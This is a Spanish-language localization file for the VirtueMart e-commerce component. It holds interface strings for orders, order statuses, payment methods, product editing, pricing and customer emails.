COM_VIRTUEMART_NEW_VENDOR="Nuevo vendedor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="Ninguno" COM_VIRTUEMART_NON_UNIQUE="Error no se puede guardar %s sin un único %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s no fue único, agregado numero aleatorio" COM_VIRTUEMART_NOTIFIED="Notificado" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="No se pudo enviar el mensaje a " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Mensaje enviado a" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="No se pudo guardar la información de domicilio de usuario" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="No se pudieron guardar los datos de usuario." COM_VIRTUEMART_NOT_AUTH="No esta autorizado para ver este recurso." COM_VIRTUEMART_NO_ACCOUNT="¿No esta registrado aun?" COM_VIRTUEMART_NO_CUSTOMER="No es un comprador registrado. Por favor proporcione su información de facturación" COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No se encuentra descripción" COM_VIRTUEMART_NO_FILES_FOUND="No archivos encontrados" COM_VIRTUEMART_NO_IMAGE_FOUND="no imagen encontrada" COM_VIRTUEMART_NO_IMAGE_SET="No imagen establecida" COM_VIRTUEMART_NO_ITEMS_SELECTED="No artículos seleccionados" COM_VIRTUEMART_NO_MEDIA="Sorry, no es un archivo de media valido" COM_VIRTUEMART_NO_MEDIA_FILES="No imágenes encontradas" COM_VIRTUEMART_NO_MORE_ORDERS="No mas pedidos" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="No ha plugins de pago instalados, ir a http://dev.VirtueMart.net/projects/VirtueMart/filesy descarge/instale el mas reciente com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="Sin restricciones" COM_VIRTUEMART_NO_REVIEWS="No hay comentarios para este producto." COM_VIRTUEMART_NO_SEARCH_RESULT="Tu búsqueda dio 0 resultados< br />" COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="No hay plugin de envío instalado, ir a http://dev.VirtueMart.net/projects/VirtueMart/files descarge e instale com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Directorio de descarga no establecido" COM_VIRTUEMART_OFFLINE_MODE="MODO FUERA DE LINEA" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Por favor regístrese para aprovechar las ventajas de ser un usuario registrado, en caso contrario use guardar para compra anonima" COM_VIRTUEMART_OPERATION_CANCELED="Operación cancelada" COM_VIRTUEMART_ORDER="Pedido" COM_VIRTUEMART_ORDERBY="Ordenar por" COM_VIRTUEMART_ORDERING="Orden" COM_VIRTUEMART_ORDERS="Pedido" COM_VIRTUEMART_ORDERSTATUS="Estado de pedido" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Detalles de estado de pedido" COM_VIRTUEMART_ORDERSTATUS_S="Estados de pedidos" COM_VIRTUEMART_ORDERS_LIST="Lista de pedidos" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Lista Pedidos VirtueMart" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Lista Pedidos VirtueMart" COM_VIRTUEMART_ORDER_AMOUNT="Cantidad" COM_VIRTUEMART_ORDER_CDATE="Fecha de pedido" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Cambiar dirección de facturación" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Cambiar dirección de envío" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="No se puede borrar sin el ID de pedido" COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="¿Esta seguro que desea borrar este artículo?" COM_VIRTUEMART_ORDER_EDIT="Cambiar detalles de pedido" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Acciones" COM_VIRTUEMART_ORDER_EDIT_ADD="Agregar" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Seleccione un producto" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Seleccione SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Cambiar pedido" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Cantidad debe ser mayor a 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Editar ID de pedido" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Editar numero de Pedido" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="El producto fue agregado al pedido" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="El producto fue borrado del pedido." COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Cantidad ha sido actualizada" COM_VIRTUEMART_ORDER_EDIT_RETURN_PARENTS="regresar a producto principal" COM_VIRTUEMART_ORDER_EDIT_SOMETHING_HAS_CHANGED="ha sido cambiado" COM_VIRTUEMART_ORDER_EDIT_USER="Editar usuario" COM_VIRTUEMART_ORDER_EXPORT="Exportar módulos" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME="Exportar nombre de clase de modulo" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME_TIP="(e.g. ps_olsi)" COM_VIRTUEMART_ORDER_EXPORT_CONFIG="Configuración de exportación de pedido" COM_VIRTUEMART_ORDER_EXPORT_CONFIG_TIP="Aquí puede configurar la exportación, debe ser un código de PHP valido." COM_VIRTUEMART_ORDER_HISTORY="Historial de pedidos" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Comentario" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Comentarios en el pedido : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="¿Comprador notificado?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Fecha agregada" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="¿Incluir este comentario?" COM_VIRTUEMART_ORDER_ID="ID de pedido" COM_VIRTUEMART_ORDER_ITEM="Articulos de pedido" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Etiqueta no ha sido generada" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Registro de pedido no encontrado en base de datos de envío" COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Por favor ingrese un numero valido, ID de pedido, no '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Etiqueta de envío" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Firma no recabada" COM_VIRTUEMART_ORDER_LINK="Siga este enlance para ver" COM_VIRTUEMART_ORDER_LIST_ID="ID pedido" COM_VIRTUEMART_ORDER_LIST_LBL="Lista de pedidos" COM_VIRTUEMART_ORDER_LIST_MDATE="Ultima modificación" COM_VIRTUEMART_ORDER_LIST_NOTIFY="¿Avisar al comprador?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Por favor, cambie el estado del pedido primero" COM_VIRTUEMART_ORDER_LIST_NUMBER="Número de pedido" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Imprimir etiqueta" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Buscar por fecha" COM_VIRTUEMART_ORDER_LIST_STATUS="Estado" COM_VIRTUEMART_ORDER_LIST_TRACK="Rastrear" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Etiqueta vacía" COM_VIRTUEMART_ORDER_MOD="Pedidos & compradores" COM_VIRTUEMART_ORDER_NOTFOUND="Pedido no encontrado. Puede haber sido borrado" COM_VIRTUEMART_ORDER_NOT_UPDATED="Sin canvios, PorFavor canvie el estado en los pedidos para actualizarlo!" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="{X} pedidos tienen reporte de error" COM_VIRTUEMART_ORDER_NUMBER="Pedido numero" COM_VIRTUEMART_ORDER_PAYMENT_CCV_CODE="Código CVV" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NAME="Nombre de cuenta" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NUMBER="Número de cuenta" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_1="Domicilio 1" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_2="Domicilio 2" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Facturar a" COM_VIRTUEMART_ORDER_PRINT_CITY="Ciudad" COM_VIRTUEMART_ORDER_PRINT_COMPANY="Compañía" COM_VIRTUEMART_ORDER_PRINT_COUNTRY="Pais" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Nota de comprador" COM_VIRTUEMART_ORDER_PRINT_CUST_BILLING_LBL="Información de facturación" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Información de comprador" COM_VIRTUEMART_ORDER_PRINT_CUST_SHIPPING_LBL="Información de envío" COM_VIRTUEMART_ORDER_PRINT_EMAIL="Email" COM_VIRTUEMART_ORDER_PRINT_EXPIRE_DATE="Fecha de expiración" COM_VIRTUEMART_ORDER_PRINT_FAX="Fax" COM_VIRTUEMART_ORDER_PRINT_ITEMEDIT_LBL="Editar orden de artículos" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Estado del pedido de productos" COM_VIRTUEMART_ORDER_PRINT_NAME="Nombre" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Cargo de pago" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Método de pago" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="Cargo de impuesto" COM_VIRTUEMART_ORDER_PRINT_PHONE="Teléfono" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Fecha de pedido" COM_VIRTUEMART_ORDER_PRINT_PO_ID="ID pedido" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="Dirección IP" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Orden de compra" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Número Pedido" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="LLave secreta" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Estado de pedido" COM_VIRTUEMART_ORDER_PRINT_PRICE="Precio" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Estado del Producto" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="Impuesto" COM_VIRTUEMART_ORDER_PRINT_QTY="Cta" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Cantidad" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Envio" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Cargo por manejo y envío" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Método de envío" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Precio de envío" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="Impuesto de envío" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Enviar a" COM_VIRTUEMART_ORDER_PRINT_SKU="SKU" COM_VIRTUEMART_ORDER_PRINT_STATE="Estado/Provincia/Región" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="SubTotal" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Descuento" COM_VIRTUEMART_ORDER_PRINT_TAX="Impuesto" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Total" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Total en moneda del pago" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Impuesto total" COM_VIRTUEMART_ORDER_PRINT_ZIP="Zip/Código postal" COM_VIRTUEMART_ORDER_S="Pedidos" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelado" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="el estado de su pedido No. %s ha sido modificado" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="El nuevo estado es : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="Para ver el estado del pedido, siga este enlace (o cópielo en tu navegador)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Cambio de estado del pedido" COM_VIRTUEMART_ORDER_STATUS_CODE="Código de estado de pedido" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Código de estado de pedido usado por VM. No puede ser borrado" COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="El código de estado de pedido ya existe. Elija otro" COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="El código de estado de pedido es solo un carácter" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Confirmado" COM_VIRTUEMART_ORDER_STATUS_NAME="Nombre de estado de pedido" COM_VIRTUEMART_ORDER_STATUS_PENDING="Pendiente" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Devuelto" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Enviado" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="está disponible" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Control de Stock" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Elija el movimiento del Stock para hacer cuando se cambia el estado del pedido.
            Los stocks reservados se deducen del stock la venta, pero están en stock" COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="está eliminado" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="está reservado" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="{X} pedidos han sido actualizados" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="¿Actualizar estado de todas las lineas?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Actualizar estado" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="Lista de pedidos de Virtuemart" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="Lista de pedidos de Virtuemart" COM_VIRTUEMART_OVERWRITE_FINAL="Sobrescribir final" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Sobrescribir precio al que cargar impuesto" COM_VIRTUEMART_PAYMENT="Pago" COM_VIRTUEMART_PAYMENTMETHOD="Método de pago" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="El método de pago no puede ser seleccionado porque no existe" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Código" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="Código único para el método de pago (ej.PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Ingrese un código de método de pago" COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Ingrese un nombre de método de pago" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CODE="Código" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Tipos de tarjeta de crédito" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Descuento" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Tipo de método de pago" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Nombre de método de pago" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Código" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Descuento" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Tipo de método de pago" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Nombre" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="El método de pago ya existe. Seleccione otro nombre" COM_VIRTUEMART_PAYMENTMETHOD_S="Métodos de pago" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Seleccione un método de pago para actualizar" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Método de pago" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Seleccione el método de pago, de click en el botón aplicar para mostrar los parámetros de configuración apropiados" COM_VIRTUEMART_PAYMENT_ELEMENT="Nombre del método" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Descuento mínimo" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Descuento máximo" COM_VIRTUEMART_PAYMENT_LIST_LBL="Lista de métodos de pago" COM_VIRTUEMART_PAYMENT_LIST_NAME="Nombre de método de pago" COM_VIRTUEMART_PAYMENT_NAME="Nombre" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Grupo de compradores" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Pago exitosamente procesado" COM_VIRTUEMART_PAYMENT_TYPE="Tipo de métodos" COM_VIRTUEMART_PDF_ICON_SHOW="¿Mostrar el botón Pdf?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Muestra u oculta el icono pdf" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="El grupo de permisos debe tener un nombre" COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="El nombre del grupo de permisos contiene carácter es inválidos." COM_VIRTUEMART_PLEASE_SEL_ITEM="Por favor seleccione un artículo" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Descuento / Cargo" COM_VIRTUEMART_PLUGIN_WARNING="Por favor configure VirtueMart plugins de envío o pago dentro del componente VirtueMart
            Los parámetros ingresados aquí no será n usados." COM_VIRTUEMART_PN_DISPLAY_NR="Muestra #" COM_VIRTUEMART_PREVIEW="Vista previa" COM_VIRTUEMART_PRINT="Imprime vista" COM_VIRTUEMART_PRINT_VIEW="Imprime vista" COM_VIRTUEMART_PRODUCT="Producto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Seleccione un producto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Crea un enlace para mostrar el producto seleccionado" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Producto" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Para definir vista de producto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Muestra un solo producto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Layout de detalles de producto" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Mover Productos" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Algo salio mal cuando se trataba de agregar el producto." COM_VIRTUEMART_PRODUCT_ADD_CHILD="Añadir producto accesorio" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Disponibilidad de producto" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="Estara disponible de nuevo en:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Fecha de disponibilidad de producto" COM_VIRTUEMART_PRODUCT_ALIAS="Alias de Producto" COM_VIRTUEMART_PRODUCT_BASEPRICE="Precio base" COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Precio base de variación" COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Precio base con impuestos" COM_VIRTUEMART_PRODUCT_BOX="Unidades en caja" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="SIN DESCRIPCÍON" COM_VIRTUEMART_PRODUCT_CALL="Llame por precio" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Falla al borrar producto derivado" COM_VIRTUEMART_PRODUCT_CATEGORY="Categoría de producto" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Nombre de categoría de producto" COM_VIRTUEMART_PRODUCT_CHILD="Producto derivado" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Derivados de producto" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Producto es derivado de" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Producto derivado creado exitosamente" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Productos derivados" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Nombre producto accesorio" COM_VIRTUEMART_PRODUCT_CLONE="Clonar producto" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="El producto fue guardado exitosamente" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Clonar estos productos derivados" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Opciones de clonado de productos" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Crear producto derivado" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Campo personalizado" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Personalizado %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Campos personalizados" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="Todos los compradores" COM_VIRTUEMART_PRODUCT_DESC="Descripción del producto" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Descripción" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Fabricante" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Pagina de detalles de producto" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Desde" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Unidad de dimensión" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Precio con descuento" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="Puede usar el descuento de producto para agregar descuentos" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="El descuento de producto ha sido agregado." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Descuento" COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Tipo de descuento" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="¿Debe ser el monto un porcentaje del total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="No aplicar reglas" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Aplicar reglas genéricas" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Anular" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="Usted puede usar esto para descartar temporalmente un producto" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Editar producto accesorio" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Enviar email a los compradores" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Contenido" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Fecha de envío" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Por favor, introduce texto al mensaje" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Por favor, introduce un asunto para el correo electrónico" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="Ningún comprador ha comprado este producto" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Seleccione el 'Estado de productos ordenados'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Seleccione el "_QQ_"Estado de productos pedidos"_QQ_" de pedidos recibidos para mostrar la lista de compradores que recibirán el correo electrónico." COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Enviar email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Enviar correo electrónico a los compradores" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Enviar un email a los compradores que compraron este producto (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Mensaje sobre el producto %" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Asunto" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Dudas sobre el producto" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Regrese a la lista de archivos de producto" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Buscar producto" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Alias de producto" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Ingrese con el texto que será mostrado al comprador en la página de descripción del producto.
            e.j.: 24h, 48 horas, 3 - 5 días, Sobre pedido....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="O seleccione una imagen para mostrar en la página de descripción de producto (flypage).
            las imágenes están en el directorio %s
            " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Fecha de disponibilidad de producto" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Aquí puede ingresar el numero de unidades en una caja (max 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calcular el precio de coste" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Marque esto para calcular el precio de coste con el precio final deseado" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Productos principales y derivados" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="Después de modificador de impuesto" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Antes de modificador de impuesto" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="¿Esta seguro de querer borrar este artículo?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="¿Esta seguro de querer borrar este producto y los artículos relacionados con el?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Descripción de producto" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Precio con descuento" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Aquí puede anular la configuración de descuentos ingresando un descuento especial para este producto.
            La tienda creara un nuevo registro de descuento para el producto en promoción." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Descuento" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Tipo de descuento" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Editar el producto" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Altura" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="En existencia" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Dimensiones y peso del artículo" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Etiqueta de imagen" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Información de artículo" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Estado del artículo" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Longitud" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Cantidad máxima de compra" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Cantidad mínima de compra" COM_VIRTUEMART_PRODUCT_FORM_NAME="Nombre del producto" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="Nuevo producto" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Reservado, productos pedidos" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Unidades por paquete" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Aquí puede ingresar el numero de unidades en un paquete (max 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Principal" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Editar principal" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Precios de producto" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Precio base" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Precio base con impuestos" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="El precio base se convierte en la moneda por omisión del vendedor" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Precio costo" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="El costo actual en la moneda seleccionada" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Precio Final" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="El precio final con todas las reglas aplicadas en la moneda del vendedor" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Precio de producto (total)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Precio de producto (costo)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Precio de producto (venta)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Impuesto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Campos personalizados" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Dimensiones y peso del producto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Imágenes de producto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Información de producto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Lista de productos derivados" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Estado de producto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Tipos de producto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Variantes de producto" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Propiedad" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="Nueva Propiedad" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="¿Publicada?" 